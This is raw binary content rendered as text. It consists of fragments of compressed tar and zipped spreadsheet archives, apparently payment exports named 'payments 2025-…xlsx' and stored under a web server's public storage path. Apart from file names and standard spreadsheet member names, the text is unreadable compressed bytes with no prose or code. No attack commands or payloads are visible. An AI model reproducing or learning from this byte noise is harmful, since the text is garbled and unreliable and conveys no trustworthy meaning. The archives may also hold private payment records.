x�_�H���F&��	jd��j�Ɖ�D�DS���Ʀ46Q��7*֨:�46a�MXAH(ޛ؀5�ow�	k��r?6�U����Bu	�=����P-~��7��=�0.�Z_alB��F�g�Ad�o!]3֭����m�jPC�	�Ύ�	#ab$LL�I+�w�	o�����w�.^a�����%�8p5�8ugc���c��p:�$��N��s���'o����k�y���t���y_������J��t�-�[�3�+�P���
L��2��5�3��gD�!Fl8ޒ�$J��Jb��!|�|E�q�DŽ}a��a���	oS2���?��Ĕ��\�9Bp��`J���rW�)��(������t"N��Q`Z����w�DB#��DD7�}%	�@B�Q�����8���} gN/Dߣ����i����yD&�S�W�;�ԛD��k��gKu#�]c�����K�P�,k}��X%EC�S�#�ݗH锬�פ^�§�+a��İ���z��Y���7luGpxۨ�
�&~�V���K�+�UV�T�~�����9-��e�����4�_Dů��v�/�޻��U
?Ԫ݌��Z><�Z��ƳT�XY�Z�Z���e�ϴ<r8�y��c�
�g�7�>�&E�.eYG�+�OY��w;bh�g�ض���h�X]��G�e%C;��7�rt�o:����{�oI�+e���8oa�PK�p�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�p�ZG�D�Z� [Content_Types].xmlPK�p�Z�78�K �_rels/.relsPK�p�Z�$�V�� �xl/_rels/workbook.xml.relsPK�p�Zad���E �docProps/app.xmlPK�p�Z��r �docProps/core.xmlPK�p�Zs�{Y�� 'xl/theme/theme1.xmlPK�p�Z��f�� 
xl/sharedStrings.xmlPK�p�Z�A	�
 jxl/styles.xmlPK�p�Z�U���v �xl/workbook.xmlPK�p�Z�%��� �xl/worksheets/sheet1.xmlPK�p�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!��x���43s58b1/payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gznu�[�����YgPTٶnrhrP��S�%� MV�B7�irI�dir� m��3�	���D�$4��cf��+޹�׫W�Ǭ���ԮZ�9����^�;��|^^^|6�|�{>7w�������3�����-��������ݍ^�_������x��y�ܼ���M��y~~�H������(=����17w��G�_<��5���ll�7�c�"��GH����5��}����x���ʤ�{�DJH�5�,�,6h7���SG�Q
[�A���	OI��Mv�T:h�v��z�n�
�f��y뚒Gl��{v~�������}�#?<�F*�yKR\��ͯ�]T��P��?T(2j_#�M��H�3f����j�� �-��r�Y�li�7ؙdR�ܻ����q�$�nP3=��3IQϫ�4Kd�w���HB�b���e3�[go%Hu�LK��K��	"_t��(�Qr���׭��R(���{�n�Q9Ez>}���M�F�b�����HDn,6u��Dv=����s��ڱ��<��Do��X�}OJ�2��oW�S���K�N{��ӝ�@�C��tܮۺ&I^����������w�#v�xA{~��~��O������"��>G0��j�	���
�i�;.�X;7���{Ɉ��w5���/1��o�̷Kߣ�Hx@�*\He�ȫٚ��s���K<�T�Ř��HK��K[fͤC���A�)A�����0L}`��1�'�����&��­�B��#͚�Q}�}�O&l�.�&,���a�7�`�#����E>,8}C֊�0jD��.�H?��	��j,���Z��d=�����Ͻ�0�W��E��:*T�Q�v�#0^0W{K��4�)H��A"Rܻ�}�4�4V�Hp�65A����i:�و:^ 
�Ui��r{*f�UwF�bϴ5����8Չ6�jZ����[�|0�����<;�#J#�q�5�9AK��y�@I]�@EK������#�^�FVg��ж�گ^�N��gp�<iQ�?�|*�y�Ɯ>�G�-�P1��=�Y5��s[�u;ϕ"(7�#�6\v��>�!��yvzkx��aw��rM�\i�����`u��f�,�ٵ��+Y	
 ��œ�~+�.�l=9�y~�$9ꞀU!;n����
�s�(��";|�	�����;jaM?�5V�'�~}�(�]VD��e#�R�b؇sZ�L::���׻�Gma��.S���V�A�`��$��[��n�8eh�V����f�|w|S�?�6�+`+P�Ѹ����Z��*����"'�e��U��w��ʕ���!&F4����#�]<�(�c��a2��=\����Q�J79�j��R�;B,y��>�(�M��vd�%��Лg��ְ7>�����A�y���T3}�,��EҞ�-�-��h�ʟ�1's�9����*O��)(�S^��II�W�7�!�̓���U3��x[�T�w�}}�;�z��Hxtܻ����x��Z��>s
�͂W��^a��-��J��7�kވ�
s����bx��s���r����k�D��)�ƶ֖D:��į��Ĕ)e��Ly�2$��7�'��Zj�@�d�w�"���*U,ձ��[�J��&ث˝�@�S�Z���D��cK4|d���N��OE&zC�)��1f���5�N:��
����L��� Ἁw�	�[���1�	qu\I�e�z��^���m������G�)Ƞ�ZP�΁�)���}�ݻm��&��' ��z�G_ݼt���Z���ve��z$e�Xᤖ��?� �a%�A�v4�s�~�}�>�5YGO����^��ś��B|/�v������r8�bVR���l2!'t�{��*��g��ȩ%_\�_L�y�+d��lS�$�-��A3PB��6y]��m�����i��6l^��}O�����"��ev7���^!�VQ��C�~��
ץ#��c�P�GO�:r�`�&����i�\�sHfT������N(���w���+7<�@?,���R�b�C���3��\��P�L�t��cE���(Q}Eː ����z1uO@Zߡ���=�ײ���$�)�l߰���g��e>z��f@H8����h��2��`�~�ؾ[��R>�&kD?�DO$8+�͊!�8�i���V���D
����jF$艏�uM��S6�����qe`ھ�w���N@��aX�5o�}C
>hx�<�O�D^}�\�i�XUo�Y��텱�T�h2��h��jp�lҺh���s`�uڙ|���#.�bd���c@���Z�O�Ѹu��q��ᄀXڰI5ܟ@/{��7�eJ��$��
�UT�鵙���2l3^��D10�<7{�}������A�u?��o����1���p<�R�.gDs�dr��>n�:h�8ݪn����s�R��.�w��3vyz�
��e_5��V��I)n\:�S$ H�QH��f��VS]��?�'DZ��r��+�4S��j�U�|�����|�w�b��DV�f�Ө0�HW�~�.���Q��å��lM-n?����Ęqt�MVI��H��S���
i�MZ%3�X^��Aҏy=V�u���F��M}�	̤1LxN��~���e�C�@L�.R��$OO�J�i_q.��d��9Fc,�\�K3���	���X�z�EuOs 3��N�[+v��u��ĉ�x0O���2�7H!Ѓ��S�F��C�|�"��[�4ݐ};��Y�Ģ��d�;��j#�S�H+?����$)�h�;_��/�?�czN���;���f�i�iSwoݢ���ʇ>?MJI����ۖg�|P��[�T��� �hn��6�eA(v)}� KzG=��X���T��Mzcd/9��.��]��;�V�1�}�ko�#iqE�P�_H��^�c�Ű91���
p�F��In�)�}����SP��kL�X�PS�o���	�m�[n����|�aQ?��@Iȫ�%�|�^[����o��a
r�=U�?4�}k�xVԹ�%l�_�L����}e�6�'w��a�N���������Ƴl
}�����5��zJ=rd4�ęQx�ͽ_q_���a�����^^�����`2�.���5G��}@%��3�+�F}U�`�L�
�w��6�ĎA��L���<E�mC� �vH퀾<�_D��:A�G��Y#��wa��b�z�v�g[x�����B�(�T��$cD��/fC_��լ�L��ys%_���^9o�N�K��ci�}��%6�:��Ss�əu��1����Z�N��$�W�\��^��pB%:��S�e��L@5{>Å��I]�qx��^��4Ⱥ�.+��Aԫ�z��WS��{�7o�5��τ�㿆~ql��J����b9s�\��O��G�����{������$��޻�X�ZA��]m���,���Z�rmH��Ɲ��/U���2�&�n/�9Z'5�ߑb�&'ә�%Lq��j���6;�E��>:��뾟,Ԯ�A
nN���[�K	�§���jah/�nc��Z���(K�uJRT��j�H�P̠]�*nL��ϲ��8[�=X��5��Mϴ�8w����Yx>eם����F���9,ˏ��^<%4џaCHb(?s��_�.� 
���G���1��m��`�G�Mՠ`Z��*4��!���c�Ux�Ki#T=Sn�Σ�!A��YIv���)�����9=����U�&f���*��h��].���h��n���+�~��0K"|�~5p�˱�#��5��?�p�q��'#�Z�,~�V��6�p�I'Fz;&����u�՘��/e�;j<	p��W�9���Ƥ◤ЄX��q�y�z��a���"�u�KU�)o�\Yz�R�綪��K9�p��y�g:�(�%;h�X{M��%�51�F���ҍm�*�<bL�V�����}�ѭH�#�(�V�oi����L���dS�lT�(�nսʸ��0ij�;�	��_�"7��*Qu�Q�l�֫z +�%|D�y�{~|�u��X�.��:��\����b�k��ؤKbŞ��,n��/'bKZ��3���,dw�n��	#d"c��Dƶ�d��cRт�=.���D��cbd�r>���e0c��A�e�q�#�9TdȉB�Ǚ1�x��u�ZG��rpN��E	:N�U��{�:�Ӊ�)$���r�8��ʇ�}�b1�
.:�0_�R�MuoZ	�&���.�Ns���p�p��%�� �S�'6j���n5���=hY^ɝ�L����KT����6D62�h,��C~�
��ͼ7hAn]/c��ޚ�����N���k�I����|O,c]�ڎqpܝ�{-d���{����;b�Y�J����O�:��Pw޸�tUpj	�����g�HFZw�I��^R	Ö���S��4狩7`׊7��U`�R�F�X��[L�W�:nE"���6t�� p#�Wz�"Qe��{�0�̞�+)[~׏$�D�z��.��1H�e�^3ϱ=x�GT��$��4���v?�!M���3Z�4�V�ȓ�0������[�Ê�a�|��$�6Y�޷�lIO�f�ױZ2��@�A���K���F���nS�j?N��_���	�5G��$�g��_?�dW��.���՘fA��R�e>3^j���f�L�<͓��'���9~�"��-���%�O��E�-�P��-�k`�h���m�̆���^%��1�k~G�,�{��E8=�-���{��K�7j	O�������g���F��F�ʞSe�ì֥�7��V��,����8ф|��h73#�q�#:�P�+3�l����~�����4|�#
\zȰ�
�bs�=�u���]S�)����v��'�������u�뙟��[	~&�!�u�~d��}����W�k~�pAq.�u:��܍'Z^1푠�oD�9�y�V�`�Fou��Izό��yd.`��Г(��b|e(S�<�����
�d�<���A�#��u1�����GR9��<MuEt���&襆�����ˑ��A��t�~O�,FS�p{�S:�Ԋ�vȉ�d^?�������r�3�ͯF,���UqKsf83ݧ1m҄u�J�se7���a�u	�<(<�z����k�oVҫ�u9�΄k��l�^��� үX2�w�w�C���k�?מ���j�Y ������7Wg�`R�S|�7{���K�Rըv�kq�8�_��
zHu迾t�w����5T!�Vė�h�7���������0Ք�[�	���SC�/ߓw[�
0��f���X��8�F7��Ѹ�?�F�x�Z��I�S=	���͇�y��[�	��K�U�5�߰ K&!ρ�n��ʏ8eb����wSu̢��/�?[�$���ii��i'��Y�/��Ac�Y+Z��}��(��t�7�8;���?�{�\}P���a�G����Nɞ$a=���8a
Q�u�;r�v� �+:w�d<�RM:Q/;��FÞr��Ư�hZ�Hm�!�e��-�|���ج��R���LJX�Z:~A�~��������\���_��t~���&�b~u��]��[U�Ku�.����>�q��*Gw���4��eA$8�d{H�p��8��eW�kF9�!bS�����V�u�%��wh�Y�����k](�(e��g��9��+��k
���r�t����)��-��;G'�m{�l�Ո�+D�;�J�j��Q[U��e��)�01_�L�ݒ��[oKb-���띪}�Z�=�f7KV���j���v�L7O�6��nrQ{�w�rA��_����M�,����]�N�Ҙ-I:�/�y9v�KE��e��H���*�z���?�J�T"��C�:�,2�2s($�u�"�`�8���aKL��X+Z�b�U眆�niT7�ص�1WNMe������~�G�°aKr+�-���7
��V���iֶ��;�=�����6�j�WX����(�h���C��F���_|��t�3@�5�OB���7�ݟ��g���+�M�g���3�ʡ�zߔ�~����(���M��gw6,�_�E��<q�p��_n6�?#�n�̿���~v]$��5��|s+����7�_Qn.��Q�o���	������7q������m��vm��#�L"PK!/V�l&&,3s58b1/payments 2025-07-16 15-16-08.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 15-16-08.xlsx000075500000017571000000000000020165 0ustar00PKz�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PKz�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PKz�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PKz�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PKz�Z*wݫrdocProps/core.xmlSV��QO�0��K_�h�2f"�'IL��km�P�ڦ�8���:"�����ӯ������U��+�g$1��F*�����CzC�\K^
3҂'��E!l.��'g,8T��>vFֈ6�ԋ5�܏BB�ø�c�nE-�:flJk@.9r�S;�)ŀ�[WE�*�A���(��,������#Y+l-�=�Cz��l�f�Lb4̟ѷ��s\5U��J))rဣq��h��d���+�q�P ���y�د�c@&a��_��N��R��*e�i6]fWy6���%c9c�'�#����?��@����W&�6�)�c��%x����h���o�?A`o"t���1N�26vT�K
���k{�:y��7PKz�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPKz�Z��f��xl/sharedStrings.xmlSV�V�N�@��)V>�Tc;qB��9���{����!vP{��B%���V�-�{�pq!q^a��$�6��e�QY��x�f���uq�mu���u��:%Ř�f;��R�Y.)�_�P
�T^u����=e�zT�<����Jʊ���5�[\��eoƭ���q�ղ������vy�[�m���et=�U�Ga
��ְ��
�/)yS��^�*�u���蜮x�Q�7茺ԧ�.�˷�2�&.�x��O���I�b�.�G���j裵Eͷ����;~H�n=9�{��"RG�]_��I�w
d.kɡ��ۖ���M=�S�YU7"�h�ԕ�32t;
��IБ!��N��2�'g�U�,��
K�x��L	�c��q�#�
��/�ס7*�yo)�B!-¸��)��{()�)���.�� �f��G2�_���9����ߢ׀~ɣ�1YHS�i��
Ƕ��B9Ɵ�3-�L>�nZf�\���M��n�-}X�(�>��b$z���N����n��&�L��Q��]'5�[��yɷ�3ȪY���Z�@"�P�}�)5�t��ML�^@�
�0���m9F�o'J�H�
��I�K�����%hy?�Y]��~�s�iO�R�c&�l���������C��2��Š!e$�䍬��>6f觼7�|.�}:#�p�`����Vb��.:�
?莺�!��t���pɻ�Wx]�.�	�N|3k�3,3�B�qQ�}�3��g�����DN�p�#:�OQ��	/Zm�FQA���PKz�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PKz�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PKz�Z�%���xl/worksheets/sheet1.xmlSV��]w�8��Wp��m�M��&�������n�	�6�� �I�Jۚk�ٛ4�W�G#YBӏ/��z�u��rf��Ķh��,/�3����m5<)��`%�ٯ��?���Y���P�-!p�TI*�UMZ?S[����p^]��M��ۤ���²b�6��^��dJi[���$o���.�h��*O邥�--y+R�"�O�&����K�&��N����x���G���6Okְ�lۅ��e<�A?_�o�/)��M�үmR��U�\%�<�E�_��mmӋ�u����(���Z'���ۻ)��SU���Vy�i��e�"�َyI���mE|���`{i;|��.��鸓�O�\��Y������\ܓHVQ5���ў-�<=҂��fJ[f�c���V��o6l��γ/"����Ѷ�;�_��FtL̒6�*)���X	�3۳���#g���W�(f��o[I��g�-���qζ�GjVqQ���oZ��U��O��-�ڪ�VI�t�ڵ��� r:���-Z`�#%��@o��GOFWɮ��
�F���v��>���	,�d�h(eE��Z�\,5�H��E�����l��Qh[O��K���t׈�l�t��_e�d[A���E�� �w��QЍF��w�A'������a'��<yN�n���N�d�n��������ɤӓ��Q�Ir�$�L�F��W�q���E“��f{K��8����r� r�He�,V��h����`2?K��ʢ���U�c���?����*G ������WqPmOc⺣�p�`�<Mۏ���nD�^�婠�J�\����C�g`��]h�Fԡ;`Dq�g�Ä�q1a݈lW��Cƅ��F2����"FK�H��}֍��O�[��CTu�����:�`��H
�dBQ�@C�&��� he�M` �ށ�AД?���0�PwE��
L�#�a�Pc��&���)h�	
Lö1�440j�0�h�i�G�t/u��r�
x�_�H���F&��	jd��j�Ɖ�D�DS���Ʀ46Q��7*֨:�46a�MXAH(ޛ؀5�ow�	k��r?6�U����Bu	�=����P-~��7��=�0.�Z_alB��F�g�Ad�o!]3֭����m�jPC�	�Ύ�	#ab$LL�I+�w�	o�����w�.^a�����%�8p5�8ugc���c��p:�$��N��s���'o����k�y���t���y_������J��t�-�[�3�+�P���
L��2��5�3��gD�!Fl8ޒ�$J��Jb��!|�|E�q�DŽ}a��a���	oS2���?��Ĕ��\�9Bp��`J���rW�)��(������t"N��Q`Z����w�DB#��DD7�}%	�@B�Q�����8���} gN/Dߣ����i����yD&�S�W�;�ԛD��k��gKu#�]c�����K�P�,k}��X%EC�S�#�ݗH锬�פ^�§�+a��İ���z��Y���7luGpxۨ�
�&~�V���K�+�UV�T�~�����9-��e�����4�_Dů��v�/�޻��U
?Ԫ݌��Z><�Z��ƳT�XY�Z�Z���e�ϴ<r8�y��c�
�g�7�>�&E�.eYG�+�OY��w;bh�g�ض���h�X]��G�e%C;��7�rt�o:����{�oI�+e���8oa�PKz�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PKz�ZG�D�Z� [Content_Types].xmlPKz�Z�78�K �_rels/.relsPKz�Z�$�V�� �xl/_rels/workbook.xml.relsPKz�Zad���E �docProps/app.xmlPKz�Z*wݫr �docProps/core.xmlPKz�Zs�{Y�� 'xl/theme/theme1.xmlPKz�Z��f�� 
xl/sharedStrings.xmlPKz�Z�A	�
 jxl/styles.xmlPKz�Z�U���v �xl/workbook.xmlPKz�Z�%��� �xl/worksheets/sheet1.xmlPKz�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!Ķ��43s58b1/payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gznu�[�����ygPT۶n�s�,QP24�IM�s��M��$�9g�(�-9�&��(( 96��e�}ι���z��U���Z�f�V�c�9�7���x���ym=�y-�-x�=`n�6P^s^OG;K^s_'���;#?��
q�B� 7�������x!�/ǁ@��@>�~�7�@>#���?Ows��_����PWBC'�����r�2pC`�@�a�7�7�u����89j�թ#��@b�)d�[1.�
�	�!��7�e��hpD� ���3�%Ӝ- �6n�W<�B��p����r�嚛_ao�T�4c�u�5��wi��=%K[��El�>"*ꡑ���9�44��u������9�����U���C*Z�c1�x��dG?Dк��,�.��ntQ�DI�]��LC�(]����$���]�@R��'�T���̃�L��6y�Ib��3"D���/{}�����_h�N���{�K%~3W���s>s����Ri`�ʀ`��N$j}���pLNaӒK�(>9}�PK�.�!�P�:�G�5��������4�>�iq�������L�<��!��pP6	o�I	��	���ѝ���?<f�����-�/�{�'��d����5�5�%�M;w��o������R��0�_��s1�kyշc��i�|/���2sЀ�&\@nNϻՆ��k�܉�+|W
pF�3�ز�(�|�+;��C���!�i~��C�^�6^��!�����o׍�ۿ�f6F��L���nsͧ5�����r�莲G0'#!�hO~Zp>F�	��S���_�7��
��n.��'���D�}ѱ:��Fh�J��?��|����8��o�����G����'��]�Az*�'��!����l��.�:w�i�_`�U�e
�o�!�#Ք��j
9�7Tj�Ȟ
�_��}2z�����en�{K�Vp��-�%IE��e���O(���8R�;������˱'�lz�,�о㩽y�;5�˘;�
<�i�(v�bK~�(/M�����C�쪞R��"��@����(Fw�C�b�]b�-����j2Дig��zM�26PA�{���ᶓ̭���of2
 �q��R�
��GY��4�Ӓr��!�Q����l��"�n��h^SG�2l����5��{�ִ�m�z�$k7��?~�ֳhf�/�}:ߧG.��cB���T��(,|'�ϑ�루$����O�2��h�q/ǩ@��N�,�y��+�?Y7�`+Vl��[�׳u�փrjZ���Q�h�DU
�ҽ��b��
�$���Ti������ f��4u$v�h���G-r�L�V�k�2w�#��6������|�Q)W�S��ʊ�k��50���Y�p�j%��0�r���Q�v��<R�&ރ>�s�(q�3�
w�&Z��%-Q��l��Ȼˇ�T���RuԮ�$�.^�³�m�7�f��D�*���d�ç�n�"��5{�Γ�\� y�q;n���Kn7q#��ɯq���A���d
� ��Kr%�1�`�1~�pV�
�����څO�vD�
;~��潯A��5}��s�1�Ylc%f�����b���&+=�&�
am�
ar�
e���^NL�Sz��D>,��M/$HKc�6e[&:C�)�v���oG���ա�y1&?֌F�k|
`g�V�U(�{lMb�s-F��bU][�oslF���������^gvp�����2�A�7�O�â��4=�͑eE��lD͞�&�L�E���^�_Ǔ]���Yb3�#������n��89V�#S�F�-��CG�!�q}�~�5�j��%�a��9�y�Y��[o�N�.}9���a(�����D��<R�x.'�Ω�)6�#6�N��ȹ�i�������oЊ��s���@�P'�O��i�@
6���sO������"ٞ�I/# m'��(U�k0n�t�v��	��E�@nlҢ�R�;�r��n�]!h'��
�N�D�ht��H�N0�$�X>ʸKq/�Zv�ָ�K�S��Y���7�2��%����e,B�Ē�6YBK�6pd��)�:X�XT��I��a��:?�q�x�>�ur�N���>�n�S�?g?Kx�=JO�@���>�.�We��@0�e
/
y�aP"���b>p�$����)z��*k�d�uӖ^���k�Υ��<�Nڠ.O�����u1��A�p��>�3y��zy�����'ݍ�>�K�U�Fc��&+�:��F틆{��g�i'���wR$�CVyw�,�я�m��OѸ4Zq�e>��S-�[�Ě�'�+�簌���\`�U�dZ�Y�VL�xٯ�O4������=�9���w�s��f��x����5̞��8�=KW�B����m���g�5�O�19��V*Y;%�W��]�]�A鸿/Ad�����O�~
�']/����esA�G��)�ݟ���Z��x+g! 3h���B/c��%J��2�z�����<�t�qA�������S��Ϣ$����)�p��T�l`�$̂��f�zG�
�V}�q�$��A1Q�㡞J�󹐯j�I,mr0�k2�u�/0�V7)�83K�T�u�SLG��}�e3̂<+U,�sť�q�ɜ��^iԷ�L�����Q��KзM�dѪʃ9��t�c���6�2"��G��ѓ�z��}@`8_
k���(Så�V����35C�����RJ����ޯ��ئw�P¥�h�k�'��3�����̉�{����<�-�g-m\��E�uǕO���Ԣ����m�J@^�.+�(��@�nK��!x�I��-_�b�3���[�)���4�U�{BJ�����҂��3�J�0���b��!�ԡoqL|E�UQĊ��TӬ�ڤ�����@x��@f�oȐn1.J�{�_�R��bÅ�Z�/�j�f�`�;\RS�f�J^���}�S{x���\a��1��j�e܋��a�@~N���
�:v�)?J��9m
�����=�/���!��.����-"��K=n�R��3�p���o�R�����xU�'EF��$':߯���2�����z�χQ޷�k��@%f㙒��|	^�A�l?��]�������<���s���&v,��7M�$���ض�n��!u���\�y������d�@�A��R�$F+�4�����f�ǹ���D�E���6�nT�yP��0T��l��y��ꌇxy#��Ԯ���'��+/�ܣ�N���~6�ZMe��x�B��F����I��x�nٶi��0�G�y�ٮԕ���M���8��l�sZ���l��[*w>����(���I�
�vjbP�JF��c���]��O�=�`��=�T[h�fQ��i������nP+-7;g��E�#��d��ȋ
<l�3���s �Ow��R�����X�!��D@.��3�ۙ[:״�
�#L���\�Q��E����۟�ۉ1�+<�c����XCS�͌w�Űcߑ=��f����1ai�u�O��y�ʤ��	ʷ��O�V&2|bg�'㲖H����F���˩�>�����<��/�#��K�ց�$�GtT"eǴZ(�DPX������HH0�,_ڑ�'��ƶJ�
[�A�� S�_��_�TF��Aь�"�X�!>�(�T��ׅ�ߪ�u�i���/��w/=�>�~�j�n1�R���{�̶1=��δb�V�:���nT����<�gX��`�ߣ1E5z4
�d\�&*�Jѝ��^�E���a�����?�ӯ�O�z��Й��>�<��|��W�sI̵h6�L3⊠�̟z>|noe��sT��E��ӓn��&[7���I��c�>FX�11%k7
��J����vr|&�"ĹiE��&���#��Y1����#��;����1�33�L��lЬ�Ĝy%�褫�,�	����i��X’����%�x�B-~āNɠ���C������|����n������+��<sB�r�.+-�qQM�vѧ>@9̋J+7cH���K�d�IU�{�c����Y謕l~j�PR��m�*���%*�a
�ӊ� B�t2[�T=
o�/�0&0�Z��$B9�h6��]��z��+ �$q
1�D]k��\�\?En
.ٔ&\��e�\��1 p���m�D��N�`���x�qem-\T���-ni�t(Nħ�l����R	�j��TN�%Z������]?Rxk�NH��/X����u^y��
L��~DE���?ϾcO��&W��[P����-�"��d�z�}��#�� pZA2Y/{ T�r$�x���upə��|�x�G�J�)��ޢړ|��`Ճ�w�m	E���E{�����{LV�et�9h�+�Pɷ���:�yp�i�w/z٥�]'oS�Λ	�6��MQ�����7�6�dN����{I��#���/����_0yaj��uM���!�T��o[U���궄Yr�!��>�^^
�/<�<x���3��]&Ƙ��A�s�����E�q�mˬ�0�9�t���Ww��ߘx��^��l�+��>�I���Ný�n��-��H�s�3�c������;}EQ�qГ�'��OC*V�Fc��f
Rh�jT.t�^��d!ͽ6N���!�mp��dA˴��D�:�l.̳'�~2� ��l{v������ѷ�h�J9���Z-��D6X�8�Ǘ0�,�T��{�A�8���x���Nү9�ť�]#��_O�B��<�F
�j�s� ��,C_�])���; rNj</��{A�Ù	�%����.���F>S����{�R�Ա����m�t��a�w.�n�*9bK�c�{�V>�3�cW�����o=j�\�|P˸{5>�{	;�h�^�~ЬQ�w&�Ԓr�۾tR
,�?�x��C���vfH��D_�,51��g��-����׿{�<�y�ba‥�B �~���
�*�����׺�y%jdښҷ�FO���C�̞��-j�%֧����� o4زH���쫓���N�"ƅ`����eǙCC��s������>��>�5����s��4ҷ���
}�+Fv.�'^�Μ`�L���Y��{iR���	1V���͆��	F|JyI�`��B:8�(��U?���� d���죱�SSM���$6�|�$0È�ť��Y^���p�$X�_����{B����ylm����F�"]A��w}D��ӂc}[+!μ,��&
�u�Hq��tpww�
O�O�B����K]\���#ٞT��	f~9�x�}�n�8�`]�������tDk�1�&�y'��!(��ax&�\�k
oZN�-w�6_��F{�.�7��>qN��BK�Xh�5�*
